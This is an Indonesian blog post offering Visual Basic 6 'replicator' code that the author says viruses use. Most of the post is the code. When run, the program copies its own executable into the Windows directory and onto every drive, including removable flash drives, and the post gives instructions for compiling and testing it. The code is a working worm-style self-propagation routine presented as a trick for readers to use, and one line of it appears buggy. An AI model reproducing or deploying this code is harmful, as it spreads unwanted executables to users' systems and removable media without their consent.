Latest News

Kode Pengganda VB 6.0 [Trik Jadul]

Kode Pengganda VB 6.0 [Trik Jadul]


Nih sedikit kode jadul yang biasa di pake oleh para virus, agak ngeselin sih sebenernya, cuman ndak ada salahnya juga di pelajari.. hehehehe
Buat sebuah project di VB 6.0 dengan 1 form tanpa ada komponen tambahan, masukan kode berikut ini di code editor.


=========================begin code
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Function DriveType(Drive As String) As String
''////fungsi mengecek drive
Dim sAns As String, lAns As Long
'fix bad parameter values
If Len(Drive) = 1 Then Drive = Drive & ":\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
Then Drive = Drive & "\"
lAns = GetDriveType(Drive)
Select Case lAns
Case 2
sAns = "Removable Drive"
Case 3
sAns = "Fixed Drive"
Case 4
sAns = "Remote Drive"
Case 5
sAns = "CD-ROM"
Case 6
sAns = "RAM Disk"
Case Else
sAns = "Drive Doesn't Exist"
End Select
DriveType = sAns
End Function
Private Sub kodepengganda()
''///mengecek drive dan mengcopy file penanda
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte

For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"
If DriveType(sDrive) <> "Drive Doesn't Exist" Then
On Error Resume Next
penanda = Len(Chr(ictr & App.Path)) & "1234567890"
MsgBox penanda
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & ictr & "SYC.exe"
End If
'App.EXEName = penanda & ".exe"
Next
End Sub
Private Sub kopikewindows()
''////mengkopi file virus atau penanda ke directory windows
Dim buffer As String * 255
Dim x As Long
x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & "\SYC_masuk_windows.exe"
End Sub

Private Sub Form_Load()
kopikewindows
kodepengganda
End Sub
=======================================ending code


compile kedalam bentuk executable dan jalankan ( usahakan memasang flasdisk biar tau kodenya jalan apa enggak yah :) )
kalau berhasil pasti kalian menemukan file ini
SYC_masuk_windows.exe ===> di folder windows
SYC.exe ===> di semua disk drive termasuk yang removable media
Thanks fot Aat Shadewa ( www.virologi.info )
Post a Comment